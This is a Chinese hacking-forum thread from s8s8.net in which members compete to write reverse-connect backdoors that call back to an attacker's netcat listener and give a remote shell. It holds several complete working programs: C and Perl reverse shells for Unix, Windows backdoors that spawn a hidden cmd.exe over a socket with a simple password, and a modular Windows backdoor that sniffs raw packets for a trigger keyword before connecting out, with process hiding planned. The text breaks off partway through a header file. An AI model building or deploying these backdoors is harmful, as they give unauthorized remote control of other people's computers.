最简单的反弹后门设计和基本模块代码

Metasploit 反弹Shell Metasploit框架是一款开源的渗透测试平台,由H.D. Moore于2003年开发,后被Rapid7收购。它集成了漏洞扫描、利用、后渗透测试等功能,广泛应用于网络安全评估和漏洞验证​。 阅读详情
 
题目:写一个反弹式后门程序,让该程序运行后,就会连接到你指定的计算机,在那台计算机上用NC这样的小工具监听某一端口,当运行这个后门的计算机连接到这个端口后,就能远程执行对方计算机的命令了。
要求:任何计算机语言都可以,只要你能写得出来。
系统平台:Window版和*nix版分开写

看谁写得精彩,随着程序版本的增多,我们会慢慢提出新的功能,看谁能根据我们提出的功能写到最后,然后评出几名编入“论坛功臣”组,拥有“认证会员”权限,并且有10000元论坛的货币。

其他要求:您接受您写的程序能成为本站的一个软件,在程序里留下http://www.s8s8.net 的字样。
sql
CODE

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

void usage();
char shell[]="/bin/sh";
char message[]="s8s8 welcome/n";
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}

struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!/n");      exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!/n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}

void usage(char *prog[]) {
   printf("/t/ts8s8 connect back door/n/n");
printf("/t sql@s8s8.net/n/n");
printf("Usage: %s <reflect ip> <port>/n", prog);
exit(-1);
}




测试结果如下图:

用户发表的图象
cnhackTNT
CODE

#!/usr/bin/perl
#http://www.s8s8.net
#cnhackTNT[AT]hotmail.com

use strict;
use Socket;
use Cwd;
use IO::Handle;

if ( @ARGV < 1 ) {
print <<"EOF";
usage:
nc -l -p PORT(default 66666) on your local system first,then
Perl $0 Remote IP <space> Remote_port(default 66666)
Type 'quit' to exit or press Enter to gain shell when u under the 'S8S8 console'.
Enjoy ur shell!
Welcome to http://www.s8s8.net
EOF
exit;
}
my $remote      = $ARGV[0];
my $remote_port = $ARGV[1] || 66666;
my $proto       = getprotobyname('tcp');
my $pack_addr   = sockaddr_in( $remote_port, inet_aton($remote) );
my $path        = cwd();
my $shell       = '/bin/sh -i';

socket( SOCK, AF_INET, SOCK_STREAM, $proto ) || die "socket error: $!";
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect( SOCK, $pack_addr ) || die "connection error : $!";
open STDIN,  ">&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";
print "You are in $path/n";
print "Welcome to www.s8s8.net/nEnjoy ur shell./n/n[S8S8 console]>";

while (<SOCK>) {
   chomp;
   if ( lc($_) eq 'quit' ) {
       print "/nWelcome to www.s8s8.net";
       print "/nByeBye~~~!/n";
       exit;
   }
   elsif ($_) {
       system($shell);
       print "/n[S8S8 console]>";
   }
   else {
       print "/n[S8S8 console]>";
   }
}
close SOCK;
exit;



很简单,功能和上面sql兄那个c版本的差不多。

测试截图:
dahubaobao
CODE


#include <winsock2.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32.lib")

#define PASSSUCCESS "Password success!/n"
#define PASSERROR "Password error./n"
#define BYEBYE "ByeBye!/n"

#define WSAerron WSAGetLastError()
#define erron GetLastError()

VOID WINAPI EXEBackMain (LPVOID s);  
//BOOL EXEBackMain (SOCKET sock);

int main (int argc, TCHAR *argv[])
{
   SOCKET sock=NULL;
   struct sockaddr_in sai;
   TCHAR UserPass[20]={0};    //用户设置密码缓冲
   TCHAR PassBuf[20]={0};     //接收密码缓冲
   TCHAR PassBanner[]="/nPassword:";
   TCHAR Banner[]="---------dahubaobao backdoor---------/n";

   if (argc!=4)
   {
       fprintf(stderr,"Code by dahubaobao/n"
               "Usage:%s [DestIP] [Port] [Password]/n",argv[0]);
       return 0;
   }

   sai.sin_family=AF_INET;

   //判断参数合法性,并填充地址结构
   //IP地址不能大于15
   if (strlen(argv[1])<=15)
       sai.sin_addr.s_addr=inet_addr(argv[1]);
   else
   {
       #ifdef DEBUGMSG
              printf("Internet address no larger than /"15/"/n");
       #endif
       goto Clean;
   }

   //端口不能小于0 && 大于65535
   if (atoi(argv[2])>0&&atoi(argv[2])<65535)
       sai.sin_port=htons(atoi(argv[2]));
   else
   {
       #ifdef DEBUGMSG
              printf("Port no less than /"0/" and larger than /"65535/"");
       #endif
       goto Clean;
   }

   //密码最大16位
   if (strlen(argv[3])<=16)
       strcpy(UserPass,argv[3]);     //复制密码
   else
   {
       #ifdef DEBUGMSG
              printf("Please connect password error/n");
       #endif
       goto Clean;
   }

   while (TRUE)
   {
          WSADATA wsadata;
          BOOL ThreadFlag=FALSE;
          DWORD ThreadID=0;
          int nRet=0;

          nRet=WSAStartup(MAKEWORD(2,2),&wsadata);     //初始化

          if (nRet)
          {
              #ifdef DEBUGMSG
                     printf("WSAStartup() error: %d/n",nRet);
              #endif
              return 0;
          }

          sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

          if (sock==INVALID_SOCKET)
          {
              #ifdef DEBUGMSG
                     printf("socket() GetLastError reports %d/n",WSAerron);
              #endif
              goto Clean;
          }
         
          nRet=connect(sock,(struct sockaddr*)&sai,sizeof (struct sockaddr));

          if (nRet!=SOCKET_ERROR)
          {
              nRet=send(sock,Banner,sizeof (Banner),0);

              if (nRet==SOCKET_ERROR)
              {
                  #ifdef DEBUGMSG
                         sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
                         send(sock,MsgError,sizeof (MsgError),0);
                  #endif        
                  goto Clean;
              }

              while (TRUE)
              {
                     nRet=send(sock,PassBanner,sizeof (PassBanner),0);

                     if (nRet==SOCKET_ERROR)
                     {
                         #ifdef DEBUGMSG
                                sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
                                send(sock,MsgError,sizeof (MsgError),0);
                         #endif
                         goto Clean;
                     }

                     nRet=recv(sock,PassBuf,sizeof (PassBuf)-1,0);

                     if (strnicmp(PassBuf,UserPass,strlen(UserPass))==0)
                     {
                         #ifdef DEBUGMSG
                                send(sock,PASSSUCCESS,sizeof (PASSSUCCESS),0);
                         #endif
                         ThreadFlag=TRUE;
                         break;
                     }
                     else
                     {
                         #ifdef DEBUGMSG
                                send(sock,PASSERROR,sizeof (PASSERROR),0);
                         #endif
                         continue;
                     }

                     if (nRet==SOCKET_ERROR)
                     {
                         #ifdef DEBUGMSG
                                sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
                                send(sock,MsgError,sizeof (MsgError),0);
                         #endif
                         goto Clean;
                     }

                     Sleep(100);
              }
             
              if (ThreadFlag)
              {
                  //EXEBackMain(sock);
                 
                  CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)EXEBackMain,
                              (LPVOID)sock,0,&ThreadID);
              }

          }

          Sleep(1000);
   }

   Clean:
         if (sock!=NULL)
             closesocket(sock);

         WSACleanup();
         return 0;
}

VOID WINAPI EXEBackMain (LPVOID s)
//BOOL EXEBackMain (SOCKET sock)
{    
    SOCKET sock=(SOCKET)s;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hRead=NULL,hWrite=NULL;
    TCHAR CmdSign[]="/ndahubaobao://>";
   
    while (TRUE)
    {
           TCHAR MsgError[50]={0};     //错误消息缓冲
           TCHAR Cmdline[300]={0};     //命令行缓冲
           TCHAR RecvBuf[1024]={0};    //接收缓冲
           TCHAR SendBuf[2048]={0};    //发送缓冲
           SECURITY_ATTRIBUTES sa;
           DWORD bytesRead=0;
           int ret=0;

           sa.nLength=sizeof(SECURITY_ATTRIBUTES);
           sa.lpSecurityDescriptor=NULL;
           sa.bInheritHandle=TRUE;

           //创建匿名管道
           if (!CreatePipe(&hRead,&hWrite,&sa,0))
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,"CreatePipe() GetLastError reports %d/n",erron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif          
               goto Clean;
           }

           si.cb=sizeof(STARTUPINFO);
           GetStartupInfo(&si);
           si.hStdError=hWrite;
           si.hStdOutput=hWrite;    //进程(cmd)的输出写入管道
           si.wShowWindow=SW_HIDE;
           si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

           GetSystemDirectory(Cmdline,sizeof (Cmdline));   //获取系统目录
           strcat(Cmdline,"//cmd.exe /c ");                //拼接cmd

           ret=send(sock,CmdSign,sizeof (CmdSign),0);      //向目标发送提示符

           if (ret==SOCKET_ERROR)
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif      
               goto Clean;
           }
           
           ret=recv(sock,RecvBuf,sizeof (RecvBuf),0);       //接收目标数据

           //如果为exit或quit,就退出
           if (strnicmp(RecvBuf,"exit",4)==0||strnicmp(RecvBuf,"quit",4)==0)
           {
               #ifdef DEBUGMSG
                      send(sock,BYEBYE,sizeof (BYEBYE),0);
               #endif
               goto Clean;
           }

           //表示对方已经断开
           if (ret==SOCKET_ERROR)
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif
               goto Clean;
           }

           //表示接收数据出错
           if (ret<=0)
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif      
               continue;
           }

           Sleep(100);      //休息一下,可要可不要
           strncat(Cmdline,RecvBuf,sizeof (RecvBuf));  //拼接一条完整的cmd命令

           //创建进程,也就是执行cmd命令
           if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
           {
               #ifdef DEBUGMSG
                      sprintf(MsgError,"CreateProcess() GetLastError reports %d/n",erron);
                      send(sock,MsgError,sizeof (MsgError),0);
               #endif      
               continue;
           }

           CloseHandle(hWrite);

           while (TRUE)
           {
                  //无限循环读取管道中的数据,直到管道中没有数据为止
                  if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
                      break;
                  send(sock,SendBuf,bytesRead,0);      //发送出去
                  memset(SendBuf,0,sizeof (SendBuf));  //缓冲清零
                  Sleep(100);                          //休息一下
           }
         
    }

    Clean:
          //释放句柄
          if (hRead!=NULL)
              CloseHandle(hRead);

          if (hWrite!=NULL)
              CloseHandle(hWrite);

          //释放SOCKET
          if (sock!=NULL)
              closesocket(sock);

          WSACleanup();
          ExitThread(0);
          //return 0;

}

dahubaobao
普通会员是不是有限制? 为什么我不能用[CODE][/CODE]标签?

提示菜单已被禁用。。。真无聊 这也禁用~~~~
sql
看了楼上的代码,我觉得管道那个地方可以更简单一些吧?

CODE


WSADATA wd;
SOCKET sock;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in sin;

.
.
.
.
.
.
.
.
memset(&si, 0, sizeof(si));
WSAStartup(MAKEWORD( 1, 1 ), &wd);


sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr(IP);


while ( connect(sock, (struct sockaddr*)&sin, sizeof (sin)) ) Sleep (50000);


si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi );
return 0;



我不太懂我它们之间的区别,刚学win编程不久还请多指教。
ZV
我也贴一个,比较完整的.for winnt的.compiler by vc 6.0.

我把后门分成四个部分,一个个部分算作一个模块,首先是主函数入口分成一部分,将来要加一些参数设置,初始化,隐藏进程等等,都在这个主函数部分完成,现在是什么都没有,代码比较少..

CODE

#include "mainheader.h"

MAINPARAMETERSTK mpStk={"zvrop","www.s8s8.net"};

//打印帮助
void Usage(char *programName) {
   char szHelp[] = "";
   fprintf(stderr,"%s usage:%s/n",programName,szHelp);
}  

//初始化参数
int HandleOptions(int argc,char *argv[]) {
   int i,rn=1;

   for (i=1; i< argc;i++) {
       if (argv[i][0] == '-') {
           switch (argv[i][1]) {
               case '?':
               case 'h':
               case 'H':
                   Usage(argv[0]);
                   rn = 0;
                   break;
                   
               default:
                   Usage(argv[0]);
                   rn = 0;
                   break;
           }
       }
   }
   return rn;
}

//正式开始工作的主函数
extern int ListenUserMain(void);
int mGotoStart(){

//申请网络
   if(!SetSocketDll())
       return 0;
   int ret=0;
//出错最大100次就结束程序
   while(true){
       if(!ListenUserMain()){
           if(ret++ > 100)
               break;
       }
   }
   return 1;          
}

//程序入口
int main(int argc, char* argv[]) {
   if(argc > 1) {
       if(HandleOptions(argc,argv)) {
           return 1;
       }else {
           return 0;
       }
   }else {
       mGotoStart();
       return 1;
   }
   return 1;
}


上面这个部分除了mGotoStart();这个函数,其他都是内部的.

这个mGotoStart();就是sniffer的开始,也就是我们的第二个部分,嗅探部分,我写了三种数据包,udp,tcp,icmp的嗅探,事实上 tcp能用上的很少(除非你用某些发包软件直接发tcp包)所以我测试的时候也是用udp和icmp来测试的,代码如下:

CODE

#include "mainheader.h"

#define MAX_PACK_LEN        65535
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)

SNIFFERDATASTK sfStk;

//判断数据包的正确性
int ChkBuff(char *msg, int msglen)
{
   int i1 = strlen(mpStk.KeyData), i2 = strlen(mpStk.szUserPasd);
   if(strnicmp(msg, mpStk.KeyData, i1) == 0){
       char *fp = &msg[i1+1];
       if(2 != getcmdline(fp,(char*)(&sfStk),100,3)){
           return 0;
       }
       if(!chkPass(sfStk.name)){
           return 0;
       }
       return 1;
   }
   return 0;
}

//数据包解包
int DecodePack(char *buf, int buflen)
{
   IP_HEADER *pIpheader;
   int iProtocol;
   pIpheader = (IP_HEADER *)buf;
   iProtocol = pIpheader->proto;
   int iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);
   int PackSize = 0;
   switch(iProtocol){
       case IPPROTO_UDP:
           PackSize = sizeof(UDP_HEADER);
           break;
       case IPPROTO_ICMP:
           PackSize = sizeof(UDP_HEADER);
           break;
       case IPPROTO_TCP:
           PackSize = sizeof(TCP_HEADER);
       default :
           return 0;
   }
   if((unsigned)(buflen-iIphLen-PackSize) < (strlen(mpStk.KeyData)+10))
       return 0;
   if(ChkBuff(buf+iIphLen+PackSize, buflen-iIphLen-PackSize))
       return 1;
   return 0;
}

//循环接收数据包
int RecvRightData(SOCKET Sock)
{
   char RecvBuf[MAX_PACK_LEN];
   int RecvDataLen;
   while(true){
       memset(RecvBuf, 0, MAX_PACK_LEN);
       RecvDataLen = recv(Sock, RecvBuf, MAX_PACK_LEN, 0);
       if(SOCKET_ERROR == RecvDataLen || RecvDataLen < 46)
           return 0;
       if(DecodePack(RecvBuf, RecvDataLen)){
           return 1;
       }
   }
   return 0;
}

//获得本机外部ip
unsigned long msGetipByStrOUT(){
   char in[20]="",out[20]="";
   if(msGetip(in,out)){
       return inet_addr(out);
   }else{
       return inet_addr("127.0.0.1");
   }
}

//设置网络环境,开始嗅探
int Start_Sniffer(SOCKET SnfSock)
{

   SOCKADDR_IN addr_in;
   addr_in.sin_family = AF_INET;
   addr_in.sin_port  = INADDR_ANY;
   addr_in.sin_addr.S_un.S_addr = msGetipByStrOUT();
   if(SOCKET_ERROR == bind(SnfSock, (struct sockaddr*)&addr_in, sizeof(addr_in))){
       ConCloseSocket(&SnfSock);
       return 0;
   }
   DWORD dwBufferLen[10];
   DWORD dwBufferInLen = 1;
   DWORD dwBytesReturned = 0;
   if(SOCKET_ERROR == WSAIoctl(SnfSock,
                           SIO_RCVALL,
                           &dwBufferInLen,
                           sizeof(dwBufferInLen),
                           &dwBufferLen,
                           sizeof(dwBufferLen),
                           &dwBytesReturned ,
                           NULL ,
                           NULL)){

       ConCloseSocket(&SnfSock);
       return 0;
   }
   return 1;
}

//网络开始函数
extern DWORD WINAPI UserThreadFunc(LPVOID lpParam);
int ListenUserMain(void)
{
   SOCKET SnfSock;
   if(!SetSocketHand(&SnfSock, SOCK_RAW)) {
       return 0;
   }
   if(!Start_Sniffer(SnfSock)) {
       return 0;
   }
   if(!RecvRightData(SnfSock)) {
       ConCloseSocket(&SnfSock);
       return 0;
   }
   ConCloseSocket(&SnfSock);
   if(!SetSocketHand(&SnfSock, SOCK_STREAM)) {
       return 0;
   }
   if(!ContoReServer(&SnfSock,
                   (unsigned short)atoi(sfStk.nPort),
                   sfStk.szIp)) {
       ConCloseSocket(&SnfSock);
       return 0;
   }
   if(!UserThreadFunc((LPVOID)&SnfSock)){
       return 0;
   }
   return 1;
}


上面这个部分,除了UserThreadFunc函数是外部的,其他都是内部的,实现了嗅探.

UserThreadFunc函数就是用户线程函数,到了这个函数,就已经和用户建立了连接,下面就是交互式shell的代码了.如下:

CODE

#include "mainheader.h"

//关闭cmd进程,防止用户强行断开连接
void closeCMD(USERCONTSTK * sck){
   if(sck->procinfo.hProcess != NULL){
       TerminateProcess(sck->procinfo.hProcess, -9);
       ConCloseHandle(&sck->procinfo.hProcess);
   }
}

//结束交互线程B,并关闭相应资源
void KillThreadHdB(USERCONTSTK * sck){
   if(sck->UserThreadHdB != NULL){
       TerminateThread(sck->UserThreadHdB, 0);
       ConCloseHandle(&sck->UserThreadHdB);
       ConCloseHandle(&sck->hReadPipe);
       ConCloseHandle(&sck->hReadFile);
       ConCloseHandle(&sck->hWriteFile);
       ConCloseHandle(&sck->hWritePipe);
       xfree(sck->buff);
   }
}

//结束cmd交互,并中断连接
void quitTELcon(USERCONTSTK * sck){
   if(sck->getCMD == 1){
       KillThreadHdB(sck);
       closeCMD(sck);
       sck->getCMD = 0;
   }
   rnvCasemsg(sck->UserSck, "Bye~^_^~/r/n");
   sck->ExitIn = 1;
}

//结束cmd交互,返回后门shell下
void backtoCON(USERCONTSTK * sck)
{
   KillThreadHdB(sck);
   rnvCasemsg(sck->UserSck,"==========================/r/n"
                           "S8S8//>");
   sck->getCMD = 0;
}

//交互线程B,获取cmd输出,发送给用户端
DWORD WINAPI ThreadFuncB(LPVOID lpParam){

#define MAX_BUFF_TB 4096
   USERCONTSTK *ThreadST = (USERCONTSTK *)lpParam;
   ThreadST->buff = (char*)malloc(MAX_BUFF_TB*sizeof(char));
   if(ThreadST->buff == NULL)
       return 0;
   ThreadST->Bann = 1;
   unsigned long howlong;
   DWORD rest;
   while(true){
       rest = ReadFile(ThreadST->hReadFile, ThreadST->buff, MAX_BUFF_TB, &howlong, NULL);
       if(rest <= 0){
           xfree(ThreadST->buff);
           return 0;
       }
       send(ThreadST->UserSck, ThreadST->buff, howlong, 0);
   }
   return 0;
}

//产生并捆绑一个cmdshell.
short GetConSel(USERCONTSTK *sck){
   if(sck->getCMD == 1) {
       return 0;
   }
   memset(&sck->pipeattrA, 0, sizeof(sck->pipeattrA));
   sck->pipeattrA.nLength = sizeof(SECURITY_ATTRIBUTES);
   sck->pipeattrA.lpSecurityDescriptor = NULL;
   sck->pipeattrA.bInheritHandle = TRUE;
   if(!CreatePipe(&sck->hReadPipe, &sck->hWriteFile, &sck->pipeattrA, 0)){
       rnvErrorID(sck->UserSck, "CreatePipe:");
       return 0;
   }
   memset(&sck->pipeattrB, 0, sizeof(sck->pipeattrB));
   sck->pipeattrB.nLength = sizeof(SECURITY_ATTRIBUTES);
   sck->pipeattrB.lpSecurityDescriptor = NULL;
   sck->pipeattrB.bInheritHandle = TRUE;
   if(!CreatePipe(&sck->hReadFile, &sck->hWritePipe, &sck->pipeattrB, 0)){
       rnvErrorID(sck->UserSck, "CreatePipe:");
       ConCloseHandle(&sck->hReadPipe);
       ConCloseHandle(&sck->hWriteFile);
       return 0;
   }
   DWORD  UserThreadIdB;
   sck->Bann = 0;
   if((sck->UserThreadHdB = CreateThread(NULL, 0, ThreadFuncB, (LPVOID *)sck, 0,
       &UserThreadIdB))==0){
       rnvErrorID(sck->UserSck, "CreateThreadB:");
       ConCloseHandle(&sck->hReadPipe);
       ConCloseHandle(&sck->hWriteFile);
       ConCloseHandle(&sck->hReadFile);
       ConCloseHandle(&sck->hWritePipe);
       return 0;
   }
   STARTUPINFO  starinfo;
   GetStartupInfo(&starinfo);
   starinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
   starinfo.hStdInput = sck->hReadPipe;
   starinfo.hStdError = starinfo.hStdOutput = sck->hWritePipe;
   starinfo.wShowWindow = SW_HIDE;
   char Cmdpath[MAX_PATH+20] = "";
   char ConSystemPath[MAX_PATH] = "";
   DWORD ren = GetSystemDirectory(ConSystemPath, MAX_PATH);
   if(ren != strlen(ConSystemPath)){
       rnvErrorID(sck->UserSck, "GetSystemDirectory:");
       KillThreadHdB(sck);
       return 0;
   }
   sprintf(Cmdpath, "%s//cmd.exe", ConSystemPath);
   if(CreateProcess(Cmdpath, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &starinfo,
       &sck->procinfo)==0){
       rnvErrorID(sck->UserSck, "CreateProcess:");
       KillThreadHdB(sck);
       return 0;
   }
   sprintf(Cmdpath,"========================/r/n"
                   "=ThreadID = %ld/r/n"
                   "=ProcessID = %ld/r/n"
                   "========================/r/n/0",
                   UserThreadIdB,
                   sck->procinfo.dwProcessId);
   rnvCasemsg(sck->UserSck, Cmdpath);
//如果建立线程B超时,退出
   short _timeOut = 0;
   while(sck->Bann == 0){
       if(_timeOut++ > 50){
           rnvErrorID(sck->UserSck, "TIMEOUT");
           closeCMD(sck);
           KillThreadHdB(sck);
           return 0;
       }
       Sleep(50);
   }
//设置为已经获得cmdshell
   sck->getCMD = 1;
   return 1;
}

//输出banner
void TypeHelp(USERCONTSTK * sck){

   rnvCasemsg(sck->UserSck,"/r/n+++++++++++++++++++++++++++++++++++++++++++++++++++/r/n"
                           "+quit<q>                               exit/r/n"
                           "+help<h>                               exit/r/n"
                           "+shell<s>                              cmd shell/r/n"
                           "+++++++++++++++++++++++++++++++++++++++++++++++++++/r/n");
}

//命令行分析
void WINAPI gocommand(USERCONTSTK * sck,char *comm)
{
   ConDel1013(comm);
   char cmdline[10][256] = {""};
   int comline_num = getcmdline(comm, &cmdline[0][0], 256, 10) + 1;
   if(strcmpi(cmdline[0], "") == 0){
       return;
   }
   cmdline[0][0]=toupper(cmdline[0][0]);
   switch(cmdline[0][0]){
       case 'Q':{
           if((strcmpi(cmdline[0], "q") == 0) || (strcmpi(cmdline[0], "quit") == 0)
               && comline_num == 1)
               quitTELcon(sck);
           else
               goto NoCommand;
           break;
       }
       case 'S':{
           if((strcmpi(cmdline[0], "s") == 0) || (strcmpi(cmdline[0], "shell") == 0)
               && comline_num == 1)
               GetConSel(sck);
           else
               goto NoCommand;
           break;
       }
       case '?':
       case 'H':{
           if((strcmpi(cmdline[0], "h") == 0 || strcmpi(cmdline[0], "help") == 0 || strcmpi(cmdline[0], "?") == 0))
               TypeHelp(sck);
           else
               goto NoCommand;
           break;
       }
       default:
           NoCommand:
           rnvCasemsg(sck->UserSck,"Bad Command!/r/n");
   }  
}

//交互线程A,可以作为后门本身的shell,也可以作为CMDshell的输入
void BeginShell(USERCONTSTK  *sck){
   char  buff[1024] = {0},buf[1024] = {0};
   long  howlong;
   DWORD  nothing;

   rnvCasemsg(sck->UserSck,    "++++++++++++++++++++++++++++++++++++/r/n"
                               "+Easy  BackDoor/r/n"
                               "+Coder By ZV(zvrop@163.com)/r/n"
                               "+Site  http://www.s8s8.net/r/n"
                               "++++++++++++++++++++++++++++++++++++/r/n"
                               "S8S8//>");
   while(true){
       memset(buf, 0, 1024);
       howlong = recv(sck->UserSck, buf, 1023 - strlen(buff), 0);
       if(howlong <= 0){
           quitTELcon(sck);
           return;
       }
       strncat(buff, buf, howlong);
       if(buf[howlong-1] == '/n'){
           if(sck->getCMD != 0){
               if(buff[0] == '`'){
                   gocommand(sck, buff + 1);
               }else{
                   WriteFile(sck->hWriteFile, buff, strlen(buff), &nothing, NULL);
                   if(!strnicmp(buff, "exit", 4))
                       backtoCON(sck);
               }
           }else{
               gocommand(sck, buff);
               if(sck-> ExitIn == 1){
                   return;
               }
               rnvCasemsg(sck->UserSck, "S8S8//>");
           }
           memset(buff, 0, 1024);
           if(sck-> ExitIn == 1){
               return;
           }
       }
   }
}

//用户界面入口,申请一个结构用来保存,是为了兼容多用户
DWORD WINAPI UserThreadFunc(LPVOID lpParam){
   USERCONTSTK  *sck = (USERCONTSTK *)malloc(sizeof(USERCONTSTK));
   if(sck == NULL){
       rnvErrorID(*(SOCKET *)lpParam, "malloc:");
       ConCloseSocket((SOCKET *)lpParam);
       return 0;
   }
   memset(sck, 0, sizeof(USERCONTSTK));
   sck->UserSck = *(SOCKET *)lpParam;
   BeginShell(sck);
   ConCloseSocket(&sck->UserSck);
   free(sck);
   return 1;
}


最后一个部分是公共函数部分,提供了一些函数的包装.如下:

CODE

#include "mainheader.h"

#define MAX_TIMEOUT             20000

//关闭socket句柄
void ConCloseSocket(SOCKET *Sock) {
   if(*Sock == 0 || *Sock == SOCKET_ERROR)
       return;
   closesocket(*Sock);
   *Sock = 0;
}

//关闭句柄
void ConCloseHandle(HANDLE *Hand){
   if(*Hand == NULL || *Hand == INVALID_HANDLE_VALUE)
       return;
   CloseHandle(*Hand);
   *Hand = NULL;
}

//释放内存
void xfree(char *bf){
   if(bf == NULL || bf == 0)
       return;
   free(bf);
   bf = NULL;
}

//设置监听
int LocalListen(SOCKET Sock) {
   if(listen(Sock, 5) == SOCKET_ERROR)
       return 0;
   return 1;
}

//连接远程服务器
int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr) {
   struct sockaddr_in server_addr;
   server_addr.sin_family = AF_INET;
   server_addr.sin_port   = htons(port);
   struct hostent *server_host;
   server_host = gethostbyname( reAddr );
   if(server_host == NULL)
       return 0;
   memcpy( (void *) &server_addr.sin_addr,
       (void *) server_host->h_addr,
       server_host->h_length );
   int len = sizeof( server_addr );
   if( connect( *sock, (struct sockaddr *)
        &server_addr, len ) < 0 )
       return 0;
   return 1;
}

//申请网络环境
int SetSocketDll(void) {
   WSADATA wsaData;
   if(SOCKET_ERROR == WSAStartup(MAKEWORD(2, 2), &wsaData)){
       return 0;
   }
   return 1;
}

//申请连接句柄
int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE) {
   *Sock = socket(AF_INET , SOCKTYPE , IPPROTO_IP);
   if(*Sock == SOCKET_ERROR)
       return 0;
   return 1;
}

//发送消息给用户端
void rnvCasemsg(SOCKET Sock, char *msg) {
   if (strlen(msg) <= 0)
       return;
   send(Sock, msg, strlen(msg),0);
}

//发送带错误码的消息给用户端
void rnvErrorID(SOCKET Sock, char *msg) {
   char rmsg[256] = {""};
   sprintf(rmsg, "/r/nERROR>%s:%d/r/n", msg, GetLastError());
   rnvCasemsg(Sock, rmsg);
}

//兼容nc和telnet
void ConDel1013(char *str) {
   for(unsigned int i =0; i < strlen(str); i++)
       if(str[i] == '/r' || str[i] == '/n')
           str[i] = '/0';
}

extern MAINPARAMETERSTK mpStk;

//密码比较,这里可以加上md5
short chkPass(char *pass) {
   if(strnicmp(pass, mpStk.szUserPasd, strlen(mpStk.szUserPasd))==0)
       return 1;
   return 0;
}

//分解命令行的函数
short getcmdline(char *comm, char *cmdline, short cont, short num){
   short j = 0, geti = 0, is20 = 0;
   for(short i = 0; comm[i] != '/0' && geti < num; i++){
       if(comm[i] != ' ' || is20 >= 1){
           if(comm[i] == '"') is20++;
           else if(is20 >= 2 && comm[i] == ' ') is20 = 0;
           else if(j < cont){
               cmdline[geti * cont + j] = comm[i];
               j++;
           }
       }
       if(comm[i] == ' ' && geti < num && is20 == 0){
           geti++;
           j = 0;
       }
   }
   return geti;
}

//获得本机IP函数
int msGetip(char *ipin, char* ipout){
   char cHostName[80]="";
   if((gethostname(cHostName, 80)) == SOCKET_ERROR)
       return false;
   struct hostent *Host = gethostbyname(cHostName);
   if(NULL!=Host){
       struct in_addr addr;
       int i = 0;
       while(Host->h_addr_list[i] != NULL){
           memcpy(&addr, Host->h_addr_list[i], sizeof(addr));
           if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){
               if(strlen(ipin) == 0){
                   strcpy(ipin, inet_ntoa(addr));
               }
           }else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){
               if(strlen(ipin) == 0){
                   strcpy(ipin, inet_ntoa(addr));
               }
           }else if(addr.S_un.S_un_b.s_b1 == 10 ){
               if(strlen(ipin) == 0){
                   strcpy(ipin, inet_ntoa(addr));
               }
           }else{
               if(strlen(ipout) == 0){
                   strcpy(ipout, inet_ntoa(addr));
               }
           }
           i++;
       }
       if(strlen(ipout) == 0) {
           strcpy(ipout, ipin);
       }
       if(strlen(ipin) == 0){
           strcpy(ipin, ipout);
       }
       return 1;
   }
   return 0;
}


还要来一个就是程序的头文件:如下:

CODE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>

//用户结构
typedef struct _USERCONTSTK{
   int     getCMD;
   char*   buff;
   int     ExitIn;
   int     Bann;
   SOCKET  UserSck;
   HANDLE  UserThreadHdB;          
